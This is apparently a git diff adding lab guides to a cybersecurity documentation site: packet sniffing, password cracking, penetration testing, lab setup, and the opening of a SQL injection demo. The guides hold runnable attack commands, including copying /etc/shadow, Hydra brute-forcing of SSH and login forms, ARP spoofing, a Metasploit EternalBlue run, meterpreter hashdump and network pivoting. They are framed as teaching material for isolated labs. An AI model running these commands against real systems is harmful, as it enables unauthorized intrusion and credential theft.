virtual network in host-only/internal mode. + +### Basic tcpdump capture + +Capture on `eth0`, no name resolution, write to pcap: + +```bash +sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap +``` + +Rotate files every 100 MB (prevent disk fill): + +```bash +sudo tcpdump -i eth0 -nn -s 0 -C 100 -w capture-%Y%m%d-%H%M%S.pcap +``` + +## Capture Filters (BPF) — Apply at Capture Time + +Capture filters reduce the amount of data copied to disk (kernel-level), e.g.: + +* By host: + + ```bash + sudo tcpdump -i eth0 host 192.168.56.102 -w host.pcap + ``` +* By port: + + ```bash + sudo tcpdump -i eth0 tcp port 80 -w http.pcap + ``` +* By network: + + ```bash + sudo tcpdump -i eth0 net 192.168.56.0/24 -w lan.pcap + ``` +* Complex: + + ```bash + sudo tcpdump -i eth0 'tcp and (port 80 or port 443) and not src net 10.0.0.0/8' -w web.pcap + ``` + +**Rule of thumb:** Use capture filters to avoid overwhelming storage, but be conservative when you expect an unknown attack (capture broader, then filter in analysis). + +## Display Filters — Inspect After Capture (Wireshark / tshark) + +Display filters are applied in the analyzer (Wireshark) and are far more expressive: + +* Show HTTP: `http` +* Show DNS: `dns` +* Show traffic to/from IP: `ip.addr == 192.168.56.102` +* Show TLS handshakes: `tls.handshake` +* Show packets containing credentials (HTTP Basic auth): `http.authbasic` (or search for `Authorization: Basic` in payload) + +Example: filter for POST requests to `/login`: + +``` +http.request.method == "POST" && http.request.uri contains "/login" +``` + + +## Analysis Recipes — Common Tasks + +### 1) Follow a TCP stream (reconstruct session) + +In Wireshark: right-click a TCP packet → `Follow` → `TCP Stream`. +This shows the request/response flow (useful for web sessions and simple protocols). + +### 2) Extract HTTP objects (files) + +Wireshark → `File` → `Export Objects` → `HTTP` — choose objects (images, downloads) to save. + +With `tshark` or `tcpflow`: + +```bash +# tshark to extract HTTP objects isn't trivial; prefer Wireshark GUI or use `foremost` on reassembled streams +tcpflow -r capture.pcap +``` + +### 3) Detect cleartext credentials + +Search for likely fields or patterns: + +* HTTP basic authentication: look for `Authorization: Basic`. +* Common POST param names: `password`, `pwd`, `pass`, `token`. +* Use display filter in Wireshark: + +``` +http contains "password" || http contains "Authorization" +``` + +### 4) Find DNS exfil patterns (many small unique subdomains) + +Telltale sign: lots of unique DNS queries to suspicious domain: + +```tshark +tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head +``` + +If you see thousands of distinct subdomains for a single base domain, suspect DNS tunneling/exfil. + +## Lab Exercises + +### Lab 1 — Basic Capture & HTTP Analysis + +1. Start capture on sensor or host: + + ```bash + sudo tcpdump -i eth0 -nn -s 0 -w web_lab.pcap + ``` +2. From victim VM, open a webpage that serves images and simple forms. +3. Stop capture after a few minutes and open `web_lab.pcap` in Wireshark. +4. Use display filter `http` and `Follow TCP Stream` for POST to `/login`. Export any downloadable object. + +**Learning outcome:** Understand HTTP fields, reconstruct requests, and extract files. + +### Lab 2 — Detect Cleartext Credentials + +1. In the victim web app, submit forms with simple credentials (lab only). +2. Capture traffic and filter: + + ``` + http contains "password" || http contains "Authorization" + ``` +3. Identify credentials, then reconfigure the app to use HTTPS and re-run capture. +4. Show difference: encrypted TLS payload vs cleartext. + +**Learning outcome:** Why HTTPS matters, and how cleartext leaks credentials. + +### Lab 3 — ARP Spoofing & Detection + +1. In lab, run a simple ARP spoof from Kali (using `arpspoof` or `ettercap`) to MITM Victim → Gateway. + + ```bash + sudo arpspoof -i eth0 -t 192.168.56.102 192.168.56.1 + sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.102 + ``` +2. Capture traffic on Sensor and Victim. Look for duplicate ARP replies, gratuitous ARP, and sudden change in MAC-IP mapping. +3. Use Wireshark filter: + + ``` + arp.opcode == 2 && arp.src.proto_ipv4 == 192.168.56.1 + ``` +4. Detect presence of MITM and restore ARP state after lab. + +**Learning outcome:** How ARP spoofing looks on the wire and ways to detect it. + +### Lab 4 — TLS Decryption in Lab (SSLKEYLOGFILE) + +If you control the client and server you can decrypt TLS in Wireshark using the client key log: + +1. In a controlled browser (Firefox/Chrome), set `SSLKEYLOGFILE` env var before launching: + + ```bash + export SSLKEYLOGFILE=/tmp/sslkeys.log + firefox & + ``` +2. In Wireshark: `Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename` → point to `/tmp/sslkeys.log`. +3. Capture traffic and load pcap. Wireshark will be able to decrypt TLS application data for sessions from that browser. + +**Learning outcome:** Understand what can and cannot be decrypted, and how TLS protects payloads when keys remain private. + +## Measuring Capture Quality & Packet Drops + +Capturing at high rates can drop packets. You should measure drop rate: + +Let: + +* (C) = captured packets (what tcpdump/wireshark shows) +* (D) = dropped packets reported by NIC or capture tool + +The **drop rate**: + +$$ +\text{Drop_Rate} = \frac{D}{C + D} +$$ + +Example: if `tcpdump`/`pcap` statistics show `packets captured = 100000` and `packets dropped = 2000`: + +$$ +\text{Drop_Rate} = \frac{2000}{102000} \approx 0.0196 ; (1.96%) +$$ + +**How to reduce drops** + +* Capture on a dedicated host or mirror port. +* Use `-s 0` only when you need full payload; otherwise use smaller snaplen. +* Write to local fast SSD, not network storage. +* Use ring buffers (`-C`/`-W`) to split files. + +Check capture stats with `tcpdump -r file.pcap -z` or `capinfos capture.pcap`. + +## Command Cheatsheet + +```bash +# Capture full packets on interface eth0 to file +sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap + +# Capture only HTTP +sudo tcpdump -i eth0 -nn -s 0 tcp port 80 -w http.pcap + +# Read pcap and show top DNS queries +tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head + +# Extract HTTP objects using Wireshark GUI: +# File -> Export Objects -> HTTP + +# List pcap info +capinfos capture.pcap + +# Convert pcapng to pcap with editcap +editcap -F pcap input.pcapng output.pcap + +# TShark: export HTTP bodies (example) +tshark -r capture.pcap -Y "http.content_type contains \"text/html\"" -T fields -e http.file_data > bodies.txt +``` + +## Reporting & Evidence Handling + +* Record capture metadata: who captured, where, time range, capture filters. +* Hash pcap files (SHA256) before analysis and store copies securely. +* When including artifacts in reports, redact sensitive fields (PII, passwords) unless needed for remediation and allowed by scope. +* Provide reproductions steps and timestamps for any suspicious activity. + +## Summary & Next Steps + +This lab covers the essential skills for network sniffing and packet analysis. Next steps you might want to take: + +* Deep dive into **protocol analysis** (DNS, SMB, SMB2, NTLM, SMB signing). +* Learn **Zeek/Bro** for network metadata generation and automated detection. +* Practice **forensic reconstruction** (reassembling files, parsing email attachments, analyzing malware C2). +* Integrate packet captures into a SIEM (Splunk/ELK) for alerting and long-term analysis. \ No newline at end of file diff --git a/docs/cybersecurity/projects/password-cracking-lab.mdx b/docs/cybersecurity/projects/password-cracking-lab.mdx index 0d399cd..5832926 100644 --- a/docs/cybersecurity/projects/password-cracking-lab.mdx +++ b/docs/cybersecurity/projects/password-cracking-lab.mdx @@ -1,3 +1,234 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Password Cracking Lab" +description: "Hands-on lab to practice password auditing using John the Ripper, Hashcat, and Hydra — safe setup, datasets, attack strategies, GPU tuning, and reporting guidance." +tags: [password-cracking, lab, john-the-ripper, hashcat, hydra, forensics, security] +--- - \ No newline at end of file +This lab teaches you **how password cracking works**, how to run controlled experiments with **John**, **Hashcat**, and **Hydra**, and how to interpret and report results responsibly. Everything below is written for **lab use only** — do **not** run these techniques on systems you don’t own or haven’t been explicitly authorized to test. + +:::warning Legal & Ethical Warning + +Unauthorized password cracking is illegal and unethical. Only perform the exercises in an isolated lab or on systems where you have written permission. + +::: + +## Learning Objectives + +* Set up a safe password-cracking environment (VMs / Docker). +* Create and identify common hash formats (MD5, NTLM, bcrypt, SHA-256). +* Use **John the Ripper** and **Hashcat** for offline cracking (wordlists, masks, rules). +* Use **Hydra** for controlled online login testing (SSH/FTP/HTTP forms) in-lab. +* Measure cracking performance, calculate password entropy, and produce an audit report with remediation steps. + +## Lab Topology + +```mermaid +flowchart LR + A[Attacker VM - Kali] --> B[Cracking Tools: John, Hashcat, Hydra] + B --> C[Target VM -> Victim - Local] + C --> D[Services: SSH, FTP, Local DB] + B --> E[Storage: /lab/wordlists, /lab/hashes, /lab/reports] +``` + +Typical setup: Host runs VirtualBox/VMware with two VMs — **Kali (attacker)** and **Ubuntu (victim)**. Use a host-only/internal network. + +## Prerequisites & Resources + +* Virtualization: VirtualBox or VMware +* VMs: Kali Linux (attacker) + a Linux victim (Ubuntu) +* Tools preinstalled (on Kali): `john`, `hashcat`, `hydra`, `zip`, `openssl`, `python3` +* Wordlists: `rockyou.txt`, `SecLists` (passwords, common-usernames) +* GPU (optional): NVIDIA/AMD with drivers & OpenCL/CUDA for Hashcat performance + +File layout suggestion: + +``` +/lab/ + wordlists/ + rockyou.txt + seclists/ + hashes/ + unix_shadow.txt + ntlm_hashes.txt + reports/ +``` + +## Lab Setup — Create Test Accounts & Hashes (Safe, Local) + +**On the victim VM (Ubuntu)** — create test users with known passwords: + +```bash +# create test users (lab only) +sudo useradd -m -s /bin/bash alice +echo "alice:Password123!" | sudo chpasswd + +sudo useradd -m -s /bin/bash bob +echo "bob:qwerty2020" | sudo chpasswd + +# create an intentionally weak user for practice +sudo useradd -m -s /bin/bash eve +echo "eve:123456" | sudo chpasswd +``` + +Export `/etc/passwd` + `/etc/shadow` for offline cracking (authorized lab): + +```bash +# on victim, as root +sudo cp /etc/passwd /tmp/lab_passwd +sudo cp /etc/shadow /tmp/lab_shadow +sudo chown $USER:$USER /tmp/lab_passwd /tmp/lab_shadow +# transfer these files to attacker VM over host-only share +``` + +On attacker (Kali), combine files for John: + +```bash +unshadow /path/to/lab_passwd /path/to/lab_shadow > /lab/hashes/unshadowed.txt +``` + +Create an NTLM example (Windows-simulated) and some raw hashes: + +```bash +# simple MD5 example +echo -n "password" | md5sum > /lab/hashes/md5.txt + +# create NTLM hash using mkntpwd or pypi:passlib, or save exported Windows hashes for lab +# For demonstration, use known NTLM string: +echo "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" > /lab/hashes/ntlm.txt +``` + +## Exercise 1 — John the Ripper: Wordlist + Rules + +**Goal:** Crack `/etc/shadow` entries using a common wordlist and John’s default rules. + +```bash +# common commands +john --wordlist=/usr/share/wordlists/rockyou.txt --rules /lab/hashes/unshadowed.txt + +# view cracked passwords +john --show /lab/hashes/unshadowed.txt +``` + +**Notes** + +* `--rules` mutates words (capitalize, append numbers, leetspeak). +* Use `--format=` if you need to specify hash format (e.g., `--format=sha512crypt`). + +## Password Entropy — Quick Math + +Password entropy estimates how many bits of unpredictability a password has. + +**Formula:** + +$$ +Entropy = L \times \log_2(N) +$$ + +* $L$ = length of password +* $N$ = size of character set (e.g., 26 lowercase, 52 letters, 62 letters+digits, plus symbols) + +**Example:** `Password123!` + +* Length (L = 12) +* Character set approx (N = 94) (printable ASCII) + $$ + Entropy \approx 12 \times \log_2(94) \approx 12 \times 6.5546 \approx 78.66 \text{ bits} + $$ + +Use this to explain why longer passphrases beat short complex passwords. + +## Exercise 2 — Hashcat: GPU-Accelerated Mask Attack + +If you have a GPU, Hashcat is faster for large-scale cracking. + +**Example:** Mask attack for passwords with 4 letters + 2 digits: + +```bash +# hashcat mode 0 = MD5, -a 3 = mask attack +hashcat -m 0 -a 3 /lab/hashes/md5.txt ?l?l?l?l?d?d -w 3 --status --status-timer=10 --session=lab_mask +``` + +**Mask shorthand**: + +* `?l` = lowercase, `?u` = uppercase, `?d` = digits, `?s` = special, `?a` = all. + +Use `-O` for optimized kernels (shorter password limits) and `-w` to adjust workload profile. + +## Exercise 3 — Hybrid Attacks & Rules + +Combine wordlists with masks or rules to target common human patterns (word + year, name + 123). + +```bash +# Hashcat hybrid example: wordlist + 2 digit mask +hashcat -m 1000 -a 6 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt ?d?d -w 3 + +# John with rules +john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo /lab/hashes/unshadowed.txt +``` + +## Exercise 4 — Hydra (Online, Controlled) + +Hydra tests login services (SSH/FTP/HTTP forms). **Ensure target is your VM and rate-limit to avoid lockouts.** + +**SSH example (lab VM):** + +```bash +hydra -L /lab/wordlists/usernames.txt -P /usr/share/wordlists/rockyou.txt \ + -t 4 -f -o /lab/reports/hydra_ssh_hits.txt ssh://192.168.56.102 +``` + +**HTTP form example:** + +```bash +hydra -L users.txt -P passwords.txt 192.168.56.103 http-post-form \ +"/login.php:user=^USER^&pass=^PASS^:F=Incorrect" -t 4 -o /lab/reports/hydra_http.txt +``` + +## Measuring Performance & Throughput + +For offline cracking (Hashcat), measure hashes per second: + +```bash +hashcat -m 1000 -b # benchmark NTLM and show H/s +``` + +For John, use `--status` or check `john.pot` potfile. Record H/s to compare wordlist effectiveness and GPU acceleration. + +## Reporting — What to Include + +Your lab audit should include: + +* Scope & authorization statement (who approved lab). +* Hash types and sources (e.g., `unshadowed /etc/shadow`). +* Tools & versions used (John v..., Hashcat v..., Hydra v...). +* Wordlists and rules applied (rockyou, custom masks). +* Crack summary (accounts cracked, time taken, method). Example table: + +| Account | Hash Type | Cracked | Method | Time | +| ------- | ----------- | ------- | -------------- | ------ | +| alice | sha512crypt | ✅ | wordlist+rules | 2m 30s | +| bob | sha512crypt | ✅ | mask | 45s | +| eve | sha512crypt | ✅ | brute-force | 5s | + +* Impact & remediation (force resets, enable MFA, hash migration). +* Artifacts (output files) stored securely. + +## Remediation Checklist (For Lab Reports) + +* [ ] Enforce strong password policies (length, passphrases). +* [ ] Implement Multi-Factor Authentication (MFA). +* [ ] Use slow, salted hashing (Argon2 / bcrypt / scrypt). +* [ ] Implement account lockout / rate-limiting for online services. +* [ ] Scan password databases for reused/compromised passwords (check against breach lists). +* [ ] Educate users on passphrase use and password managers. + +## Advanced Topics & Experiments + +* Build targeted wordlists using `cewl` or `maskprocessor`. +* Use `hashcat-utils` for candidate generation & statistics. +* Try distributed cracking setups (multiple GPUs across machines). +* Experiment with `--session` and `--restore` for very long jobs. + +## Final Notes & Safety + +This lab is meant to build defensive expertise: understand attacker techniques so you can protect systems. Keep your findings confidential and use them to improve security posture, not for unauthorized access. \ No newline at end of file diff --git a/docs/cybersecurity/projects/penetration-testing-lab.mdx b/docs/cybersecurity/projects/penetration-testing-lab.mdx index 0d399cd..b775a56 100644 --- a/docs/cybersecurity/projects/penetration-testing-lab.mdx +++ b/docs/cybersecurity/projects/penetration-testing-lab.mdx @@ -1,3 +1,299 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Penetration Testing Lab" +description: "End-to-end guide to running a safe, repeatable penetration testing lab — reconnaissance, vulnerability discovery, exploitation, post-exploitation, pivoting, and reporting. Includes workflows, commands, diagrams, and ethics-first guidance." +tags: [penetration-testing, lab, pentest, nmap, metasploit, burp, exploitation, lab-workflow] +--- - \ No newline at end of file +This document guides you through a **complete penetration testing lab** you can run in a safe, isolated environment. It’s written for learners who want to practice realistic pentest workflows from discovery to reporting using commonly used tools like **Nmap**, **Burp Suite**, **Metasploit**, and manual testing techniques. + +Everything here is for **lab use only**. Do **not** apply these techniques against third-party systems without written permission. + +:::warning Ethics & Legality +Never run attacks against systems you do not own or explicitly have permission to test. Always get **written authorization** and follow a defined **Rules of Engagement (RoE)** before any active testing. +::: + +## Lab Topology (Suggested) + +```mermaid +graph LR + A[Attacker: Kali Linux] -->|Nmap / Burp / MSF| B[Target: Web VM - DVWA/OWASP Juice Shop] + A --> C[Target: Windows VM - vulnerable service] + A --> D[Monitoring: Security Onion / Snort - optional] + B --> D + C --> D +``` + +Recommended VMs: + +* **Kali Linux** — attacker toolkit +* **Metasploitable / DVWA / Juice Shop / VulnVM** — intentionally vulnerable targets +* **Windows vulnerable image** — for Windows-specific exercises +* **Security Onion / Snort** — monitor and learn detection side (optional but highly recommended) + +Use an **internal** or **host-only** network to keep traffic isolated. + +## Pentest Workflow Overview + +A typical penetration test flows like this: + +```mermaid +flowchart TD + Recon[1. Reconnaissance] --> Scan[2. Scanning & Enumeration] + Scan --> Vulner[3. Vulnerability Identification] + Vulner --> Exploit[4. Exploit / Gaining Access] + Exploit --> Post[5. Post-Exploitation] + Post --> Pivot[6. Lateral Movement & Pivoting] + Pivot --> Report[7. Reporting & Remediation] +``` + +Each phase has clear goals and outputs that feed the next phase. + +## 1) Reconnaissance — Passive then Active + +**Goal:** Collect as much info as possible without alerting defenders (passive), then validate with active probes. + +Passive sources (lab-only): + +* Host OS banners, documentation, Git repos (if local), web content. + +Active discovery tools & commands: + +```bash +# Host discovery +nmap -sn 192.168.56.0/24 + +# Quick service scan (top ports) +nmap --top-ports 100 -sV -oN quick.txt 192.168.56.101 + +# Full TCP port + version detection (lab) +sudo nmap -p- -sS -sV -O -oN full_scan.txt 192.168.56.101 +``` + +Save results into your case notes (files, screenshots, or Metasploit DB). + +## 2) Scanning & Enumeration + +**Goal:** Identify open services, versions, directories, user accounts, and application entry points. + +Useful tools & examples: + +* **Nmap NSE** — service/script checks: + + ```bash + sudo nmap -sV --script vuln,auth 192.168.56.101 + ``` +* **Nikto / Nikto for web servers:** + + ```bash + nikto -h http://192.168.56.101 + ``` +* **Dirbuster / gobuster** — enumerate directories: + + ```bash + gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + ``` +* **Burp Suite / OWASP ZAP** — intercept and explore web app logic (login flows, APIs). + +Collect: + +* Service banners and versions +* Directory & file enumerations +* Interesting endpoints (login, upload, admin panels) +* Credentials or weak auth behavior + +## 3) Vulnerability Identification + +**Goal:** Map discovered services to known issues and decide which to safely test. + +Approach: + +* Match service versions to known CVEs (use Nmap `--script vuln` and local CVE databases). +* Prioritize by **exploitability** and **impact** (see prioritization formula below). +* Verify findings manually before attempting exploitation. + +**Risk Prioritization Formula:** + +$$ +\text{Risk} = \text{Exploitability} \times \text{Impact} +$$ + +Where each value is normalized between 0 and 1. Use this to prioritize what to test first. + +## 4) Exploitation — Gaining Access (Lab Only) + +**Goal:** Prove exploitability and obtain a controlled shell/session (meterpreter, reverse shell). + +Common methods (lab safe): + +* **Web vulnerabilities:** SQLi, RCE, file upload, SSRF — use Burp Suite + manual payloads. +* **Service exploits:** Metasploit modules for known CVEs. +* **Password attacks:** Hydra for online login brute-force (lab only). + +Example Metasploit flow: + +```text +msf6 > search ms17_010 +msf6 > use exploit/windows/smb/ms17_010_eternalblue +msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.102 +msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.1 +msf6 exploit(ms17_010_eternalblue) > run +``` + +**When exploiting:** + +* Use *non-destructive* options; avoid payloads that crash the system unless you have explicit permission. +* Record proof-of-concept (screenshots, safe logs, console output) rather than destructive proof. + +## 5) Post-Exploitation — What to Do After Access + +**Goals:** Determine impact, pivot options, persistence (only if allowed), and collect evidence. + +Common actions (lab): + +* **Enumerate system**: `whoami`, `ipconfig`/`ifconfig`, installed software. +* **Credentials & tokens**: Dump or search for config files, credential stores (ethical constraints apply). +* **Privilege escalation:** Look for SUID binaries, unpatched kernels, misconfigurations. Tools: `linpeas`, `winpeas`. +* **Data discovery:** Search for sensitive files, databases, or keys. + +Example Meterpreter commands: + +```text +meterpreter > sysinfo +meterpreter > getuid +meterpreter > hashdump # only in lab and with permission +meterpreter > upload /tmp/fix.sh C:\\Windows\\Temp\\fix.sh +``` + +Document everything and avoid leaving persistent backdoors unless part of the test plan. + +## 6) Lateral Movement & Pivoting + +**Goal:** Use the initial foothold to reach other internal systems (simulated corporate networks). + +Pivot techniques (lab-only): + +* **SSH tunneling / port forwarding**: + + ```bash + ssh -L 8080:10.0.0.5:80 user@compromised-host + ``` +* **Meterpreter autoroute + socks proxy**: + + ```text + meterpreter > run autoroute -s 10.0.0.0/24 + use auxiliary/server/socks_proxy + set SRVPORT 1080 + run + ``` +* **ProxyChains / SOCKS** to route tools through pivot. + +Always check the RoE before performing lateral movement or persistence actions. + +## 7) Cleanup & Restoration + +After testing: + +* Remove any tools or files you uploaded. +* Revert VM snapshots or restore images to a clean state. +* Rotate credentials changed for testing. +* Document cleanup steps in your report. + +Example cleanup steps: + +```bash +# On compromised host (lab) +rm /tmp/malicious_tool +# On attacker, remove payloads and handlers +``` + +## 8) Reporting — The Most Valuable Deliverable + +A pentest report should be clear, reproducible, and actionable. + +Essential sections: + +* **Executive Summary** — non-technical impact. +* **Scope & RoE** — targets, dates, authorizations. +* **Methodology** — tools and steps used. +* **Findings** — vuln description, evidence (screenshots/logs), CVE references. +* **Risk Rating** — severity, exploitability, business impact. +* **Remediation** — prioritized, concrete fixes and code/config examples. +* **Appendices** — raw output (nmap, nikto), payloads, session logs. + +Use the following risk matrix as guidance: + +| Severity | Description | Action | +| -------- | ------------------------------------------- | ---------------------------------- | +| Critical | Remote code execution, full DB exfiltration | Patch ASAP / temporary containment | +| High | Auth bypass, sensitive data leak | Fix within days | +| Medium | Info disclosure, misconfig | Plan within weeks | +| Low | Minor misconfig | Routine patching | + +## Useful Commands & Quick Cheatsheet + +### Recon & Scanning + +```bash +nmap -sn 192.168.56.0/24 +sudo nmap -p- -sS -sV -O -oN full_scan.txt 192.168.56.101 +gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt +nikto -h http://192.168.56.101 +``` + +### Web Testing (Burp) + +* Intercept -> Repeater -> Intruder +* Use Scanner (Pro) or OWASP ZAP for automation in staging. + +### Exploitation + +```text +msfconsole +use exploit/... +set RHOSTS +set LHOST +set PAYLOAD +exploit +``` + +### Post-Exploitation + +```text +meterpreter > sysinfo +meterpreter > ps +meterpreter > download /path/to/file +meterpreter > run autoroute -s 10.0.0.0/24 +``` + +## Hands-On Lab Exercises + +1. **Full Recon to Exploit (Beginner)** + + * Target: DVWA or Metasploitable + * Steps: nmap → gobuster → nikto → Burp intercept → exploit simple SQLi or RCE → document POC. + +2. **Windows Exploit Chain (Intermediate)** + + * Target: Vulnerable Windows VM + * Steps: nmap → smbenum → MS17-010 module → meterpreter → privilege escalation with local exploit. + +3. **Pivoting & Internal Recon (Advanced)** + + * Multi-host lab with segmented networks + * Steps: Gain initial shell → configure SOCKS proxy → use proxychains to reach internal-only services → escalate. + +## Practical Tips & Best Practices + +* Use **snapshots** liberally — take one before every major step. +* Keep **detailed notes** (time-stamped) — they become your report’s backbone. +* Use **non-destructive** proof-of-concept evidence (screenshots, safe read-only dumps). +* Automate repeatable tasks with scripts but be careful: automation can be noisy. +* Pair offensive work with defensive checks — run your detections in Security Onion or Splunk to learn what gets logged. + +## Final Checklist (Pre-Test) + +* [ ] Written authorization & RoE document signed +* [ ] Scope & targets clearly listed (IP ranges, hosts) +* [ ] Time windows agreed (when active tests are allowed) +* [ ] Contacts for emergency/rollback if things go wrong +* [ ] Snapshots or backups available for all targets \ No newline at end of file diff --git a/docs/cybersecurity/projects/setup-lab-environment.mdx b/docs/cybersecurity/projects/setup-lab-environment.mdx index 0d399cd..d3837e6 100644 --- a/docs/cybersecurity/projects/setup-lab-environment.mdx +++ b/docs/cybersecurity/projects/setup-lab-environment.mdx @@ -1,3 +1,186 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Setting Up Your Cybersecurity Lab Environment" +description: "Learn how to safely create an isolated cybersecurity lab for ethical hacking, network defense, and digital forensics practice using VirtualBox, VMware, or cloud environments." +sidebar_label: "Setup Lab Environment" +--- - \ No newline at end of file +Before diving into hands-on hacking, network monitoring, or digital forensics, you need a **safe and isolated lab environment**. This ensures your experiments don’t harm your system or network — and helps you learn security tools in a **controlled sandbox**. + +## What is a Cybersecurity Lab? + +A **cybersecurity lab** is a controlled, virtual environment where you can safely: +* Practice **ethical hacking** and **penetration testing**. +* Analyze **malware behavior**. +* Simulate **network attacks and defenses**. +* Study **incident response** and **forensics**. + +:::tip[Before You Begin] +Make sure your computer has **at least:** +* 16 GB RAM (minimum 8 GB) +* 100 GB free disk space +* Virtualization enabled in BIOS +* Tools: [VirtualBox](https://www.virtualbox.org/) or [VMware Workstation Player](https://www.vmware.com/) +::: + +## Lab Architecture Overview + +Here’s a simple architecture for a beginner-friendly cybersecurity lab: + +```mermaid +graph TD + A[Host Machine - Windows/Linux] --> B[VirtualBox / VMware] + B --> C[Kali Linux - Attacker] + B --> D[Metasploitable 2 - Victim] + B --> E[Security Onion - Monitor] + C <--> D + D <--> E + C <--> E +``` + +**Goal:** + +* **Kali Linux** → used for offensive testing and scanning +* **Metasploitable** → a vulnerable machine for testing exploits +* **Security Onion** → monitors network activity and captures logs + +## Step 1: Choose a Virtualization Platform + +You can use either **VirtualBox (free)** or **VMware**. +Both support creating **isolated networks** that simulate a real-world LAN. + +**Recommended Setup:** + +```bash +Host: Windows 10 / Ubuntu 22.04 +Virtualization Tool: VirtualBox +VMs: Kali Linux, Metasploitable 2, Security Onion +``` + +## Step 2: Download Required ISOs + +| Tool / OS | Description | Download Link | +| ------------------------- | ------------------------------------------ | -------------------------------------------------------------------------------------------------- | +| **Kali Linux** | Offensive Security distro for pentesting | [kali.org](https://www.kali.org/get-kali/) | +| **Metasploitable 2** | Vulnerable VM for exploitation | [SourceForge Link](https://sourceforge.net/projects/metasploitable/) | +| **Security Onion** | Network monitoring and intrusion detection | [securityonionsolutions.com](https://securityonionsolutions.com/software/) | +| **Windows 10 Evaluation** | Optional for Windows pentesting | [Microsoft Eval Center](https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/) | + +## Step 3: Configure the Network + +Use an **Internal Network** or **Host-Only Adapter** to keep your lab **isolated from the Internet**. + +```mermaid +flowchart LR + A[Internet] -.- B[Host Machine] + B --- C[Internal Network] + C --> D[Kali Linux] + C --> E[Metasploitable] + C --> F[Security Onion] +``` + +### Network Modes Explained + +| Mode | Description | +| -------------------- | -------------------------------------------- | +| **NAT** | Internet access for updates | +| **Host-Only** | Isolated from Internet, connects VMs to host | +| **Internal Network** | Fully isolated VM-to-VM communication | + +## Step 4: Test Connectivity + +Once all VMs are running, test the network connection. + +```bash +# From Kali Linux terminal +ping 192.168.56.102 # Metasploitable +ping 192.168.56.103 # Security Onion +``` + +If you receive replies, your lab network is configured correctly. + +## Step 5: Take Snapshots + +Snapshots help you **restore your lab** to a clean state after testing exploits or malware. + +```bash +VBoxManage snapshot "Kali Linux" take "Clean State" +VBoxManage snapshot "Metasploitable" take "Fresh Setup" +``` + +## Step 6: Install and Configure Tools + +### On Kali Linux + +```bash +sudo apt update && sudo apt install nmap metasploit-framework burpsuite john hydra +``` + +### On Security Onion + +Use its setup wizard: + +```bash +sudo so-setup +``` + +Then select: + +* **Eval Mode** (for small labs) +* Add sensor and manager roles + +## Step 7: Verify Monitoring + +Generate test traffic using **nmap** from Kali and check if **Security Onion** detects it. + +```bash +sudo nmap -sS 192.168.56.102 +``` + +Then open Kibana (Security Onion Dashboard) → search for “Nmap Scan” events. + +## Security Lab Performance Formula + +The efficiency of your lab setup can be modeled as: + +$$ +E = \frac{R_m + D_t + M_s}{N_c} +$$ + +Where: + +* $ E $ = Efficiency of lab environment +* $ R_m $ = Resource management (RAM/CPU usage) +* $ D_t $ = Detection time for incidents +* $ M_s $ = Monitoring stability +* $ N_c $ = Number of concurrent VMs + +**Goal:** Keep $ E $ high by balancing performance and monitoring accuracy. + +## Optional Add-ons + +* **PfSense** – Add a firewall for network segmentation +* **Cloud Integration** – Simulate AWS or Azure security labs +* **ELK Stack** – Build your own SIEM from scratch +* **Volatility / Autopsy** – Practice memory and disk forensics + +## Final Lab Layout Summary + +```mermaid +graph TD + subgraph "Cyber Lab Network" + A[Kali Linux - Attacker] + B[Metasploitable 2 - Target] + C[Security Onion - IDS] + A <--> B + B <--> C + A <--> C + end +``` + +Your cybersecurity playground is now ready! You can start exploring penetration testing, exploit development, and network defense — all within a **secure virtual ecosystem**. + +## Next Steps + +* Build a **Penetration Testing Project** using your Kali + Metasploitable setup +* Integrate **Splunk** or **Wazuh** for additional SIEM insights +* Practice **Incident Response** with Security Onion and TheHive \ No newline at end of file diff --git a/docs/cybersecurity/projects/sql-injection-demo.mdx b/docs/cybersecurity/projects/sql-injection-demo.mdx index 0d399cd..51a62c0 100644 --- a/docs/cybersecurity/projects/sql-injection-demo.mdx +++ b/docs/cybersecurity/projects/sql-injection-demo.mdx @@ -1,3 +1,227 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "SQL Injection Demo" +description: "A hands-on, lab-safe demonstration of SQL Injection: types, detection techniques, exploitation in a controlled lab, and robust remediation patterns (prepared statements, least privilege, input validation)." +tags: [sql-injection, web-security, lab, sqli, injection, demo] +--- - \ No newline at end of file +**SQL Injection (SQLi)** is a class of vulnerability where untrusted input is interpreted as part of a database query. It can allow attackers to read, modify, or delete data, bypass authentication, or (in extreme cases) execute commands on the server. + +This page walks you through a **safe, educational demo** — focused on **how SQLi works**, **how to test it in a controlled lab**, and **how to fix it properly**. Every example here is intended for *local testing* (DVWA, WebGoat, or your own intentionally vulnerable app). Do **not** run these techniques against third-party systems. + +:::warning Legal & Ethical Notice +Only perform SQL injection testing on systems you own or have **explicit written permission** to test. Unauthorized testing is illegal and unethical and can cause real damage. +::: + +## Quick Overview — Attack Flow + +```mermaid +flowchart LR + A[User Input - untrusted] --> B[Application concatenates input into SQL] + B --> C[Database executes crafted SQL] + C --> D[Attacker observes results or impact] + D --> E[Exploit: data exfiltration / auth bypass / data manipulation] +``` + +## Types of SQL Injection (short) + +* **Error-based** — causes the DB to return error messages that leak data. +* **Union-based** — use `UNION SELECT` to append attacker results to legitimate query results. +* **Boolean-based (Blind)** — infer data by observing true/false responses. +* **Time-based (Blind)** — infer data by forcing DB to delay responses (e.g., `SLEEP()`), useful when output is not visible. + +## 